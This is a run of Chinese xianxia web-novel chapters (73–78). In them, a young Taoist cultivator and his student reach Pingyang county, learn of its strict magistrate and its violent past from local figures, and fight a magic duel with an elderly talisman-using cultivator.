车上两个道装少年。一者十六七岁的样子,坐在车中一脸清秀,双眼清澈明亮,嘴角好似带着盈盈笑意。一身青色道袍,手中持着拂尘。 一者坐在车前,正赶着马车,是一位十三四岁样子的少年,少年身着紫锦,身后放着一条长条形的包裹,里面好像裹着兵刃,正一脸好奇的四处张望着。 显而易见,这两个少年便是赵尘和周嗣了。 这马车不是什么法器,而是赵尘随便选了一根木材现做的,拉车的马便是周老太爷赠送的那两匹。 月前,赵尘周嗣两人和宋孤山分别后,赵尘又驾着船往前行驶了五六天。随后,赵尘将船靠在岸边,待两人上岸后,将楼船收起,随后削出了一驾马车,便沿着官道向远处赶去。两人一连走了近一个月,终于来到了平郡,阳县的县城下。 平阳县作为一个比较标准的县,全县大概有一亿左右的人口,下辖三十二个乡,每个乡大概有三百来万人。 每个乡有三十来个集,每个集有三十来个圩,每个圩都有三千来人左右,又分成少则三五个,多则二三十个,一般情况下多是十来个的村。 所以剩下的人中,几乎所有都生活在县城中。所以作为一个标准的县城,平阳县城中生活着十几万户人家,大概一百万人左右。 第七十三章 平阳县(上) “一个标准的古代小县城,城里面生活着一百万人,这怎么感觉听着不但很不科学,而且还不怎么仙侠,反而感觉有点玄幻?当然了。这是按照前前世的观点来看的,在此世,这却是常态。 赵尘沿着官道,慢慢向城门前走来,想着前段时间和宋孤山聊天中得到的信息,对比着宗中的记载,心中思绪飘飞着。 以前在源水城、临水城、沂州城稍住的那一段时间,甚至路过玄孟城时的情景,都是这种乍一看还很寻常,实际非常玄幻的画风。又想一想自己小时候那个山村,那时候画风还是很正常的啊,一副古代乡村的模样。 下了马车,甚至远远便将其收了起来的赵尘,抬头看了眼很标准的十五丈高的县城城墙,回头看了眼满脸好奇状的周嗣:“走啦。”说着,便进入了城中。 赵尘和周嗣随意的城中逛着,整个城中,无论在那一条街道上,无论是什么职业的人,行走在街道上,都显的整齐有序。虽然不是那种横平竖直的排的整整齐齐,好像用尺子量出来的一样,每个人之间的间距都好像量好了那样的整齐有序的样子,但在大多数看来,还是给人一种看起来非常舒服的样子。 便是集市上,做生意的人们,或是有店铺,或是只在街边摆着摊子,但都码的整整齐齐。店主、伙计之类的都不高声吆喝,若是有生意上门,买卖双发便轻声交谈着,唯恐打扰了别人。 正在这时,两个行人不小心撞在了一起,然后互相轻声的道歉着,态度极为诚恳,随后又分别开来,整个过程过程,两人的动作语言都轻柔、舒缓、沉稳,而且一板一眼,与礼相合。 赵尘两人,行走在其间,就好像行走在一幅巨大的描绘市井的理想画卷之中。这样的情景,若是远远看去,还是非常美好的,但若是置身其中,虽还不至于产生诡异、惊悚的感觉,但也给人一种别扭、压抑的感觉。 看到这样的情景,让赵尘骤然想到了当初在源水城中见到的情景。但好在没有源水城那么离谱,只是有一点神似。 其实,赵尘带周嗣来平阳县,却不是提前知道了什么,而是和对周嗣说的那样,只是随缘而至。 受到周围氛围的影响,周嗣可萌有些不安,不自觉的拉了拉赵尘。轻声说道:“老师,这城中环境,你不觉得奇怪吗?” 赵尘闻言,四处看了看,也轻声回答道:“有什么可奇怪的,只是这里民风淳朴了一点罢了。” “老师,你管这叫做民风淳朴,您是不是对‘民风淳朴’这四个字有什么误解?”闻言,周嗣的声音陡然高了几分,见周围人看过来的眼神,连忙躬身作了个团揖:“对不起,对不起。” 赵尘轻轻一笑:“呵呵,你看周围人的语言动作,便可以知道,这里绝对是夜不闭户,路不拾遗。这如果都不是民风淳朴,那还要什么样子才算民风淳朴呢?” “呃……好像没问题,好吧,这就是民风淳朴,今天长见识了。” “好啦,”赵尘抬头看了看天:“马上快中午了,我们先找个地方吃饭吧,还要找个地方住上一段时间。” “要住一段时间?”闻言,周嗣疑惑的问道。 赵尘点了点头,随后,两人便向人打听哪里有客栈。 这平阳县城虽有百万人口,但客栈却只有大小十几家。两人在路人的指点下,来到城中最大的那家客栈前。抬 两人眼看去。客栈中间是一座三层酒楼,两边是分别是一座长条形五层高楼,被分割成一百多间大小不一的客房,听说后面,在三座高楼中间,还包裹着十几间院落。场地不小,名字却很是普通,看着大门上只有“吴记”两个字的牌匾,倒是凸显出这客栈至少上百年的历史。 赵尘、周嗣两人刚走进大堂,便有一个伙计快步走到两人身前,稍整理了下衣装,对两人躬身一礼:“请问两位客官,是打尖还是住店?”伙计说话语速虽快,声音也不大,但咬字清楚,吐字清晰。 “先吃个饭,剩下的等下再说。对了,这位小哥,我两人是初到宝地,所以待会儿要耽误你一段时间。还有,我两没有什么忌口的,拣好酒好菜来上一桌。”说着,赵尘从袖中摸出一锭标准纹银递给伙计:“够吗?” 伙计接过银子:“够了,那客官是在上面就餐,还是在这儿?” 赵尘闻言,看了下周嗣,周嗣抬头看了看,整个大堂稀稀落落的坐了十几桌客人,或独自一人,或几个人在推杯换盏,便是喝的面红耳赤的几人,也只是互相间低声交谈着,不敢高声喧哗。 “就在大堂吧。” “好嘞,”说着,伙计将两人引到大堂角落处一张桌子旁,伸手拿起叠在桌上的大白毛巾,将桌椅仔细擦拭一遍,顺手将毛巾丢进盆中:“两位稍作,我去给两位催一催。” 说着,便端起盆子便向后面走去。 不一会儿,伙计将两人的菜肴依次端了上来,最后端着一壶酒和几个小银锭和一包铜板走了过来,将酒杯、酒壶给两人摆好,顺便将那包银钱放在赵尘身前:“十年的元正一壶,两位请慢用。还有,这是找回的银子。” 赵尘将银子往伙计那一推:“剩下的便送给小哥吧。” 伙计想了想,从那包银钱中拎出三串铜板,塞进怀里:“多谢客官赏赐,东家有规定,不准接受客人太多的赏赐,所以两三百文便够了。” 赵尘闻言,推了下剩下的银钱:“小哥,我们还要向你了解一些这里的基本情况呢。这些便给是给小哥的辛苦费吧!来,别站着了,坐下说。”说着便拉着伙计坐下。 伙计顺势坐在周嗣的对面:“剩下的我真不能收了。再说了,给客人答疑解惑本就是小的的职责,还能顺便偷个懒呢!” 第七十四章 平阳县(中) 见伙计这样说,赵尘也不强求了,给自己倒了一杯酒:“还不知道小哥怎么称呼呢?” “小的吴财,不知两位客官有什么要了解的?” 听了吴财的名字,赵尘也不好多说什么,只能接着问道:“欧?不知吴哥和这客栈是什么关系?” “小人是吴家的家生子……” 虽然已经历经三世,但是赵尘听见“家生子”这个词,还是不自觉的皱了皱眉头,却也没有多说什么。 “这吴记客栈便是吴家开的。这吴家可是平阳县五大家族之一。客官你也知道,自古皇权不下乡,这县里,县太爷可以牢牢把持住,可这县下面三十多个乡,每个乡长朝廷却只派了少则一两名,多则五六名的小吏,那能管什么用。只能靠乡中豪强来帮忙治理。” “这平阳县下面三十二个乡,便足有五个乡是由吴家来管理的。所以我们家客栈,不但是县里最大的客栈,也是最按全的客栈,客官安心住着,绝对没问题。”这吴财的语气之中,却是透露出几分自豪之感, “贫道姓赵名尘,道名清微。这位是周老太师的重孙子,沂州周府的小少爷:周嗣,如今随我学道。如今初到贵地,不了解情况,见城中民风比较,比较……淳朴,不知吴小哥可否和我们说一下。” 吴财闻言,抬头看了看四周,随即转过头来,低声说道:“原来是赵道长,周公子,实在是失礼了。只是小的实在是见识浅薄,只知道这县里的情况,最远也只是听说过郡中的事情,再远点,好像听人说过,咱这是在济州,至于更远的地方,连听都没听过,今天能在道长这里听到更远的地方,真好!” “道长说民风淳朴……路不拾遗,夜不闭户,却是能说是民风淳朴。道长要是在城中多逛一会儿,还可以发现,城中不但民风淳朴,而且连歌坊楚馆等其它玩乐的地方也是一个都没有。而且每天酉时关城门,大概在半个多时辰之后开始净街,然后开始宵禁,直到第二天卯时初宵禁接触。” “如今这般太平时节,又不是什么边关重地,这里怎么还有宵禁?”周嗣诧异道。 “还不止呢,只要在街上,若是高声喧哗,被差役发现了,至少是一顿训斥。若是发生冲突,便只是语言上的冲突,也要被拿进衙门问话,只要稍有肢体上的接触,一顿板子是少不了的。” “至于宵禁,别说是违背了,便只是在净街时走慢了,被差役抓到,也是直接丢进牢中关上一夜。所以,若是真的敢违背宵禁,先是一通板子,打掉半条命,之后枷起来游街,随后再丢进牢里关起来,十天半个月不算多,三五个月也不在少数。” 吴财对这县中情况的描述,语气之中隐隐透出几分怨愤。赵尘对此却没有多说什么,心中想到这吴财之前语气自豪的说出的话,心中估摸着着,大概是当地豪强和地方官员之间的相看两厌吧。 当然了,赵尘这只是猜测,并不能确定。所以这般念头只在心中一闪而过。 “这么严苛?”周嗣不禁惊讶道。 “这一切要从五年前说起,十数年前,这平阳县在整个济南府都是一处形胜之地,再加上交通还算便利,那场面,只一个‘乱’字能形容,号称是平郡最混乱的一个县了。” “乡里面,三天两天的发生大规模的斗殴,三五千人的是此起彼伏,几乎是天天都有,很是平常。上万人乃至数万人规模的斗殴也是不少见的,听说最后都惊动了州里。这里的几千上万可不是说普通人,至少都是后天中后期的武者,便是先天武者都不少见。后天前期都没有上场的资格,更不要说普通人了。” “便是在县城里,也是一样。城中不但污水横行,而且各种地痞、流氓、恶霸、小偷是走街串巷,满街都是。便是江洋大盗,也是偶尔可见,像是各种乱七八糟的帮派,可以说是每天夜里都在火拼。” “这城中店铺,绝大多每天辰时才开门,申时便早早的关门休息。城中百姓,凡是良善人家,都是日上三竿之后才开门,日落西山之时准备休息,天黑之后别说是不敢外出的,便是点灯也不敢。” “但那不是说夜里的平阳县不热闹,相反,那时只要天一黑,多是半城寂静若鬼城,而另外半城,灯火通明、喧嚣热闹。便是我家客栈,那时往往是通宵达旦,客栈的大门往往一天十二个时辰,几乎从来不关的。那时候,连城门也往往是彻夜不关的,当然了,那时候每一次关城门,都意味着一夜的腥风血雨。” “这种事情我只遇到过一次,不对,是两次。我是七年前来客栈里做伙计的,记得那时候我刚来三个月。” 说到这里,吴财的语气缓了缓,好像是在回忆:“那天下午,主家突然往店里派了两百人的护卫,单先天武者就有二三十人,将客栈护住。那天,客栈里的气氛是即紧张又兴奋,当天夜里,喊杀声持续了一夜,但店中生意要比平常好上十几倍,而且这天夜里赚到的是平常的数十倍。第二天,听说从城里抬出了一万多具尸体。” “所以,在那个时候,你只要敢开门做生意,只要一年时间,就可以赚得钵盆满盈,当然了,首先你要有做生意的实力,要不然你只能那命拼,赌运气,而且很有可能一夜间人和货都没了,连店铺都会被烧掉。” 说话间,吴财一脸回忆的表情,也不知道是回忆什么。而周嗣却听得一脸目瞪口呆:“那个时候平阳县那么乱?” “呵呵……谁说不是呢?”吴财尴尬的笑了笑:“还好,事情在五年前发生了变化。” “哦?” “五年前,一位新的县太爷在州中禁军的护送下来到县中,当天夜里,这平阳县便开始了宵禁,并指使禁军开始抓捕城中的各种逃犯、江洋大盗等等。听说当天夜里,咱们那位县令大人便受到了十数次刺杀。之后三天,城里终才于安定下来。” 第七十五章 平阳县(下) “紧接着,这位县太爷便派遣禁军,将最闹腾的几个乡狠狠的清洗了一遍,之后,平阳县下面的三十二个乡顿时安静了下来。” “在将乡里面的问题暂时处理好了之后,咱们那位县太爷又携威势将城里面的各种乱七八糟的帮会都给清缴了个干净,各种地痞、流氓、恶霸、小偷等等,只要不是正经良民,都给抓回去。同时开始清理旧案,一一审问,杀的杀,流放的流放。当时县中有七大家族,李、楚、孙、郑、王、吴、俞。其中李家和楚家被抄家灭族,郑家和王家都元气大伤。结果……” 吴财说的虽然简单,但那说话的语气和节奏,可谓是情感饱满,抑扬顿挫,在赵尘看来,其做个伙计,是在是屈才了,应该去说书才对。 “变成了现在的孙、吴、郑、王、俞五大家族。”旁边忽然有人接口道。 赵尘等人转过头向声音出看去,只见在吴财身后不远处站着一锦袍公子,看起来只比赵尘大个一两岁的样子,单看面相,估摸着大概十八九岁的样子,身后跟着两名中年护卫。 在赵尘眼中,那位锦袍公子,年纪虽不大,却已经有先天一重天的修为,对此,赵尘心中不禁一个念头闪过,这段时间,怎么感觉先天武者怎么不值钱了。遇到的都是这种二十岁不到,便入先天的武者。 在其身后,其中一名护卫,却足有先天八重的修为,看面容,不过中年人的样子,但赵尘根据其气息估算,却至少已经七十岁往上了。至于另一名护卫,却是一名修士,虽然修为低下,只有养气期左右的法力,并且法力浑浊,终其一生怕是连大道的门栏都看不见。只能算是奇人异士,但这毕竟是修士。 吴财见状,连忙起身问好:“见过九公子。” 那九公子挥了挥手,让吴财退下,随即对赵尘一拱手:“在下姓吴名离暗,见过两位。” “贫道清微,俗名赵尘,这位是周太师的重孙子,周嗣,如今随我学道。” “周太师,莫非是传说中的周坛安,周太师。” 赵尘闻言,点了点头:“确实是那位坛安县男,周太师。”周嗣闻言,却很是诧异,这一百多万里之外的小县城中,却是有人听说过自己太爷爷。 “原来这位周贤弟竟是沂州周家的公子,确实是失敬了。沂州周家的公子竟然跟随道长学道,想来道长也是不凡了。” “哪里哪里……” 几人一番寒暄,随即吴离暗便坐在先前吴财的位置,继续着刚才的话题,继续和赵尘聊了起来:“县令大人便这般将城里完全安定下来。待将县城完全掌握在手中之后,县令大人便一个乡一个乡的带着禁军打击豪强,清理诉讼,犁清旧案。便这样花了一年多的功夫,整个平阳县,包括三十二个乡在内,平阳县大治。” “这还不算完,朱大人,对了,县令大人姓朱讳铄。朱大人认为,平阳县之前这般混乱,是因为民风不正,教化不兴的原因。所以之后朱大人不但劝课农桑,大兴教化的同时还不断纠正民风。” “朱大人认为,平阳县的百姓,连续多年散漫惯了,想要将之纠正,必须要纠之以猛。不但在城中实行严苛的宵禁制度,并且将城中各类戏院、茶楼、赌坊、歌馆等都关闭了,若不是城中还不时有外来人口住宿,便是连客栈、饭馆都要被关闭。” “而且还给城中百姓出门在外,制订了严谨的动作、行为、语言的规范,稍有违背,便从重处理,绝不姑息。同时实行举报有赏,包庇同罪。” “还有,大人认为,像那些四处游走的游侠、方士、行商,甚至在外游学的士子,还有偶尔进城的山民、猎户等,如此之类的不受官府管控的人群,便是造成混乱发生的主要因素。所以对这种不受官府控制的群体,是极力的打压。所以城里面很少看见这些人,便是城中的各种货物,也是有专门而固定的人送入城中的,由专门而固定的人进行贩卖。” “若是外来游学的士子,也要到官府登记,何时从何地到来,以及什么时候离去之类的。便是本地士子,想要举行各种聚会,也要在固定的时间、地点、场合中举行。对士子行商和各种山民、猎户、菜农等都如此严苛,对游侠和方士便更是严重了。” “我敢肯定,在赵道长和周贤弟你们两人进城的第一时间,便已经被人举报到衙门中了。只待赵道长或周贤弟稍有违背律令之处,便有差役前来抓捕。而且在外面时,一定没有一人给赵道长和周贤弟讲解此地要遵守的规则吧。” 周嗣听吴离暗这么一说,仔细想了想,一脸的诧异,而赵尘却笑着点了点头。 “不过没关系,只要两位没有违背规则,便不会有事。他们虽会不教而诛,但却不会故意陷害。而且,周贤弟是周老太师的曾孙子,若是持名帖去拜见一下县令大人,就更方便了。” 闻言,赵尘笑着道谢道:“多谢吴兄弟告知。” 随后三人又说了一番闲话,最后,吴离暗忽然问道:“赵道长,周贤弟,两位刚来平阳,不知住处找好了吗?” “还未去找,正准备在店中住下,不知吴兄弟有什么建议。” “还需要什么建议吗,直接在这里住下来就好了,正好,我在这里自留了一间小院,简单收拾一下便可以入住,环境还算清幽。我这就让人给道长收拾一下。”说着,向远处招了招手,向快步走过来的吴贵吩咐了几句。 “如此便多谢吴兄弟了。” “好说,好说。我还有事情,先告辞了,道长请慢用,不送。”说着便带着两个护卫告辞了。 不一会儿,赵尘和周嗣吃完后,候在一旁的吴贵轻声道:“赵道长,周公子,院子已经收拾好了,请随我来。”随后便带着赵尘两人从大堂后面绕过,领着两人来到小院,将周围情况简单介绍一番。便被赵尘打发走了。 第七十六章 佘山 周嗣将房间收拾好后,便看见赵尘已经收拾完自己的房间,坐在院中喝茶了。赵尘右手持着一卷书,好似在看书,又好似在发呆,左手却把玩着一道流光。见周嗣从房间中走出来,抬头看了一眼:“周生。” 周嗣走到赵尘身前,行了一礼:“老师。”见赵尘示意,便坐在赵尘对面的石凳上。 见周嗣坐下后,赵尘将手中书卷放下,端起茶抿了一口:“周生,你对那吴离暗,或者吴家怎么看。” “我的看法吗……不简单。这个吴家不简单,至于吴离暗吗,很优秀吧?”周嗣闻言,斟酌道:“还请老师指教。” 赵尘放下茶杯,接着问道:“你为什么认为吴家不简单?” “道长,你之前介绍我的时候,说周太师。那个吴离暗立刻反应过来,知道我太爷爷封爵坛安县男,还知道沂州周家。沂州距此地一百多万里,消息不可能是从沂州传过来的。所以,吴离暗知道这件事情,一定是通过朝堂知道的。但是我太爷爷已经回家十五、六年了,所以他们不但了解朝堂的情况,还对一名卸任十多年的太师那么了解。而神都距这里也有数十万里之遥,这不是一个县中豪强可以知道的。所以我觉得这个吴家不简单。” 赵尘点了点头:“你说的也没错,这个吴家不简单,吴离暗也很优秀。单以底蕴论,这个所谓的县中豪强可比你家要强多了,而且那个吴离暗,小小年纪,已经是一名先天一重天的武者了。虽所从气运上看,那个吴离暗远不如你。”当然了。最后一句话赵尘并没有说出来。 “什么?”周嗣闻言,有些不可置信。 周嗣所在的周家,和赵尘前世那些官宦世家没什么区别,只是家中实力跟更大一点,家中武力更加昌盛一些,有一个混迹神道的老祖宗罢了。 而这个吴家,却和前世的那些县中豪强完全不是一个概念了。如那吴财所说,这吴家在这平阳县,执掌五乡之地,听起来不多,但是换一个说法,这吴家执掌了二百二十多万平方公里的土地,治下人口数千万,那感觉就不一样了。 所以说在这方世界,同样是乡绅豪强,但上限和下限之间的差距……而周家名义上也有一乡甚至一县的封地,但毕竟时间还短,所以也只能收一收税罢了。 赵尘笑了笑,从袖中提出一布口袋,,口袋中装着一些金块和银块,加起来大概二三十斤重。好像布袋中装的都是石头。铁块一样,赵尘将布袋随手丢在石桌上,周嗣的面前:“周生,我要出去看一看,这袋金银你拿着,要是出去的话注意安全。” 话音还未落下,赵尘便已经从院子中间消失了。赵尘站在即热闹又比较安静的大街上,回头看了一眼远处的小院,理了理衣服,便在街上四处看了起来。 果然和吴离暗说的一样,这平阳县中,当真没有一家戏院、茶楼、赌坊、歌馆之类的场所。不但如此,便是武者、游侠、术士之类的,赵尘也几乎没有看见。对此,赵尘也不知道是好还是不好。 赵尘使用着当初在源水城外的手段,在平阳县中闲逛着,了解着人们对那位朱县令和几家县中豪强的评价,如今的赵尘,别说普通人,便是武者,只要先天四重天以下,赵尘都可以隐晦的引导和读取其表层的思想。 赵尘在城中一连逛了半个多时辰,和赵尘去过的其它几座城相比,着实有些无聊,待时间一长,也觉得烦躁了,抬头看了眼天空的各色云、烟、气、雾、光等。摇了摇头,随意挑了一个方向,往远处走去。 走了半天,赵尘来到了平阳县城隍庙所在,看着庙里稀稀落落的香火,不由感叹了一句:“真冷清啊。” 说罢,走进苗里,看着眼前的城隍像,赵尘从袖中抽出一根线香,在香被抽出袖子的一瞬间,便被点燃了。赵尘随手将香插进香炉,什么货也没有说,也没有烧什么黄表之类的,便走出了庙宇。 忽然,赵尘好像发现了什么有趣的事情一样,仔细抬头看了看,又转过头盯着庙宇上空看了看,随后又转过身子看向了远方。 赵尘从城隍庙离开之后,还没走多远,忽然,一道昏黄、浑浊、暗淡、半透明的水晶状小箭从一旁一个昏暗的小巷中,在阴影的掩护下向赵尘射来。 在小箭距离赵尘还有数尺远的时候,便被赵尘身上泛起的清辉挡住。在小箭接触到清辉的一瞬间,便被驱散掉,连赵尘自发的护体清光都没有撼动,便如袅袅云烟一样消散在半空中。 对此,赵尘好像早有预料一般,不慌不忙的顺势侧过身子,伸手一接,便将一缕还未消散干净的法力摄入手中。 赵尘将手中掐住的那一缕法力往前一甩,那一缕法力便向远处的小巷飞去,赵尘也跟着那一缕法力向远处的小巷赶去。 从那支小箭自阴影中飞出到赵尘转身追去,整个过程不过发生在一瞬间,加上动静极小,赵尘身边来往的行人一个都没有发现。当然了,这一道法术虽然隐蔽迅捷,但威力却十分小,更有几分打招呼和考较的意思。 赵尘追进小巷中,顺着那一缕法力七弯八拐,进入了一片毫无人烟的荒废小巷,看着远处数十丈外,立于巷尾处的那一道苍老身影,顺手将身前那已经消散了快五分之一的法力驱散。赵尘拱手一礼:“不知道友怎么称呼?” 在赵尘眼中,巷尾那个老者,一头白发,用一根木簪简单扎了起来,满脸褶皱,眼神虽有些浑浊,却明亮非常,这却是锁不住神的表现。身子虽然挺拔,但却非常单薄,好像一阵风就可以将其吹走似的。身着一件藏青色道袍,浑身都散发着一股垂暮之气。 老者对着赵尘微微一礼:“老朽佘山,见过道友。” 第七十七章 捻纸成符 “不知佘道友唤我来此,所谓何事?” “正如道友所见,老朽修行至今,已经一百四十多岁了。无奈仙道飘渺,大道难成,今生已是无望。忽然看见道友,一身朝气蓬勃,前途远大,一时心中技痒难耐,特来求教。” “道友说笑了,哪有什么求教不求教的呢。大家不过都是在路上罢了、”话虽如此,但赵尘的语气中并没有拒绝的意思。 “得罪了!” 赵尘话音刚落,佘山便开口道。 说罢,不待赵尘回答,佘山动作灵敏的伸出右手,食指和中指从袖中抽出一张黄纸,用手指夹住。手腕一甩,黄纸上“嗖”的一声窜起一点火苗。在火苗出现的一瞬间,滚滚浓烟从黄纸上冒出。一转眼,半条小巷便被浓重的烟雾笼罩住,佘山自然也藏进了烟雾之中。 这浓烟,果是非比寻常,便是一般的真人,视线被遮住后,那也是一点也看不见的。但于赵尘而言,只是眼中隐约一丝青光一闪。便将这被浓烟掩盖的半条小巷看的清清楚楚,包括巷尾的佘山,只是略有些朦胧。 赵尘看了下那不同寻常的烟雾,随手搓了一团雷光丢了过去,只见烟雾只被雷电劈开了不到三尺,便将雷团的力量耗尽。被劈开的烟雾也随即恢复原状。 赵尘见状,不禁点了点头:“挺不错的法术,不但能遮蔽视线,而且防御力也不错。”说着,一招手,从烟雾中撕裂下一大团,用玉盒收了起来,放入袖中,待以后用来研究。 在试探和收取烟雾的过程中,赵尘看见,在烟雾中,佘山待手中黄纸燃烧殆尽之后,伸手从怀里取出一叠白色的圆形状的纸钱。佘山取出纸钱后,用力往上一撒。只见那一叠纸钱在半空中散开,纷纷洒洒的向佘山四周落去。 忽然,在佘山四周,平地卷起一阵旋风,将所有的纸钱托住。赵尘看见,所有纸钱都围着佘山或上或下的打着圈飞舞,没有一张落到地下,也没有一张被吹离佘山。凭增了一份阴森恐怖的氛围。若是晚上,被普通人看见,足以将之吓尿。 只见佘山双手翻飞,口念咒语。忽然,有数十张纸钱突然燃烧起来,从旋风中飞出,凭空将自己一卷,在空中对着赵尘排列成阵势。随着纸钱被一张张燃烧殆尽,原地出现了一根根水晶小箭,或无色透明、或幽蓝、或碧绿、或淡黄、或赤红、或玄黑……每种颜色或一支,或两三支,在烟雾的掩护下,参差有序的向赵尘加速射来。 这些水晶小箭,和之前打招呼的手段完全不同,便是赵尘高佘山两个小阶位,一个大阶层的修为,若是结结实实的挨上一发,怕是都不好受。 随着赵尘将玉盒收进袖中,便看见十数道流光从烟雾中冲出。这些小箭不但参差有序的封锁了赵尘所有的闪避空间,还各有属性,按照五行阴阳简单的组成了一个阵法。 “捏土作香,捻纸成符”看着佘山的全部施法过程,赵尘不禁脱口而出。 所谓“捏土作香,捻纸成符”这是一种在低阶修士手中广为流传的法术技巧。 因为广大低阶修士,自身法力不够,想要凭空施展大威力法术太过困难和繁琐,而如果使用符篆的话又太过麻烦。 因为符篆的话,首先你要提前制作。其次,制作好的符篆,能保存多长时间又是另一个问题。 少的只有几天,一般的也就几个月罢了,能够保存几年的,那便是低阶修士可以制作的最顶级的稀有品了,天赋、努力、材料、气运缺一不可。至于那种可以保存数十、上百年,乃至数百年的符篆,至少也是真君一级的修士才能制作。再往上,想要制作可以保存上千年乃至更久的符篆,等成仙在说吧。 再其次,一个人能随身携带的符篆的数量也是有限的,再分成多少种,每种可以携带的数量就更少了。 所以,广大低阶修士便发明出了这种“捏土作香,捻纸成符”的技巧类法术。首先,这种技巧类法术可以通过使用媒介,降低凭空施展法术的难度。其次可以减少施展中远程法术时损耗的法力,以增加法术的威力。 当然了“捏土作香,捻纸成符”这种广为流传的技巧法术也是易学难精的。单说作为媒介的纸,随着“捏土作香,捻纸成符”的精进,从最开始专门制作的法纸,到用来制作符篆的空白符纸,到贡过香火的普通纸张,最后到随便什么纸都可以,也是不断精进的。 当然了,“捏土作香,捻纸成符”这种技巧类法术,赵尘虽然会,但绝大多数情况下是是用不上的,当初在养气、金丹之时,不是在宗内,便是和明尘在一起,等赵尘进入元婴期后,便是常规的最顶级的法纸,其所降低的难度和节省的法力,于赵尘而言,也是可以完全忽略不计的。 佘山的“捏土作香,捻纸成符”,可以说练的非常高深了,虽然还没有到达最高层次,但佘山的那些纸钱也是没有沾染一点香火气息的普通白纸,所以赵尘才会不禁脱口而出。 听见赵尘的话,佘山有些得意,这一手捏土作香,捻纸成符可是佘山的得意手段。对于佘山来说,会这个法术的人本来就不多,练到这种层次的除了自己,更是一个也没用。 赵尘话音未落,一道流光从其袖中飞出,依次划过各色水晶小箭,将其全部斩碎、消散在空中。 之后。流光迅速飞回,从赵尘颈后划过,将那支无色透明,没有一点声息,连一般神识都发现不了的,在赵尘被各色水晶小箭组成的阵法吸引了之后,悄悄的沿着墙角地面绕到赵尘身后,企图偷袭的小箭击碎,随后飞回袖中。 整个过程发生在一刹那间,佘山透过烟雾,只看见赵尘身前,好似有一缕五彩毫光一闪而过。随即便感觉到自己所有的术法小箭都被消灭了,包括那支出其不意,被寄以厚望的无属性小箭。 第七十八章 斗法 对此,佘山早有准备,在法术箭矢组成阵势向赵尘飞去后,佘山便毫不停歇的准备起新的法术。 只见之前几十张纸钱刚燃烧完,便又有数十张从旋风中飞出,组成一个阵势燃烧起来,随即一条条雷霆锁链组成一条雷龙向赵尘扑来。 正在此时,佘山之前的法术被赵尘用飞剑随手剿灭,随即,佘山按下心中的得意,全心全意的操控起了雷龙。 和之前的箭阵一样,这也是佘山自己琢磨出来的法术,虽然那箭阵还一点威力都没显现,便被赵尘用飞剑剿灭。 这条雷龙不但威力奇大,而且还暗藏了一摄人心神的法术。平时斗法,佘山只要使出这一招,对手看见雷龙,即好像看见一条苍龙向自己扑来,又好像自己不容于天地,正在遭受天谴一样,多半只能束手待毙,不敢升起一丝反抗的心思。 赵尘看着从烟雾中冲出来的雷龙,心中暗道:“雷龙,看起来威力还行。” 赵尘看见那雷龙猛的一跃,窜出浓雾,向自己扑来,正准备施法,便察觉一股神秘而又隐秘的波动从雷龙眼中发出,冲向自己,直扑自己的识海。 紫府之中,赵尘的神魂端坐在丹台之上,随即伸手将这股波动接住,把玩了一番,感叹道:“这神魂攻击的手段,虽然简陋,但也却有几分机巧。” 在紫府中虽过去好一会儿,但对现实来说,不过一瞬。在这股神魂攻击失效后,这条雷龙看起来虽然还颇有威势,但对赵尘来说,却显得不堪一击。赵尘伸手虚点,稍微用法力拨动了一下雷龙,便看见雷龙猛地冲到地上。 “哄……劈……啪……” 雷龙将地上砸开一个数丈大小的大坑,随后在碎石飞舞间,雷龙分解成数条雷霆锁链,在地上几次跳跃之后,力量耗尽,消散掉了,在地上犁出数条十来丈长,一尺多宽,三五尺深的沟壑。 看了眼地上的痕迹,赵尘伸出手一挥,便平地生成一阵狂风,想要将烟雾吹散。谁成想这烟雾好像一个整体,在狂风的吹动下不断翻滚,却一点也没有消散的迹象。 见状,赵尘手掌一翻,拂袖甩出一片茫茫星光。,手腕旋转间,手臂向后一拉。洒入烟雾的星光猛地一缩,聚成一团,将烟雾一寸寸的撕裂,卷成一团,随着星光一起落入赵尘掌心。 赵尘见状,张开左掌不断鼓动的狂风形成一个好像平放着的龙卷风。就这样不到一个呼吸的时间,整整半巷的烟雾便被赵尘收在了手中。赵尘左手虚托着一枚乒乓球大小的白色球状物体,看向佘山。,白球之中,不时有点点星光闪过。 赵尘与其说是在和佘山比试法术,不如在说是在试验法器。这星光便是赵尘的飞沙法器。当然了,因为差距太大,佘山根本就没看出赵尘使用了法器。 其实早在赵尘将佘山的雷龙砸落在地上时,佘山便开始准备新的法术了。 之前,佘山忽然发现雷龙不受控制之时,佘山心中便陡然一惊,面对自己法术忽然这般莫名其妙的失控这种情况,佘山还没有想好要怎么做,便在这微微愣神的瞬间,雷龙便猛然砸落在地上,消散掉了。 对此,佘山沉默了一瞬,好似下定决心一般,深深的吐了一口气。随即,佘山用手指往袖中一钩,一张符篆被悄然从袖中夹了出来。随着佘山手指一抖,符篆便自燃了起来。不到一瞬间,符篆便被燃烧殆尽,。 佘山微微弹了弹手指,将指间的灰烬弹落,双手不断变幻着印决,口中颂念着咒语。身边的所有纸钱都骤然躁动了起来。突然间,佘山身边的纸钱被分成三份,各种组成阵势。 其中两份组成阵势后勉强勾连在一起,最后一份将另外两分纸钱包裹起来,整体看起来,呈一个葫芦状。 “噗……” 佘山一口鲜血喷出,化作血雾全部淋洒在纸钱上。随着一口鲜血喷出,佘山整个人脸色变得惨白,身体都在不断颤抖着。但却强打精神,将全部印决施展完毕。 在赵尘眼中,本来就没有几年好活的佘山,随着这一口血喷出,身上气息骤然衰落,不但元气大伤,直接处于暴毙的边缘,便是养好了,剩下的寿命怕是最少也要直接腰斩。 看见眼前这一幕,赵尘不由叹息了一句:“何苦来哉!” 对此,佘山却是充耳不闻。 “疾!” 最后佘山手掐印决,指着纸钱,一声高喝,随后顺势盘坐在地上。而随着佘山往地上这一坐,半空中所有的纸钱也全部燃烧起来,火焰鲜红似血。 随着血焰不断燃烧,盘坐在地上的佘山也好像缩小了一丝一样。见此,赵尘只能轻轻的长叹了一声。 最后,随着全部纸钱同时燃烧殆尽,混杂着灰烬,原地出现一个黝黑的葫芦虚影,葫芦表面,还有丝丝缕缕的流光不断划过,好像组成了一道道神秘的花纹。 赵尘左手一翻,将由烟雾组成的小球连同飞沙一起收回袖中,静静的看着佘山。 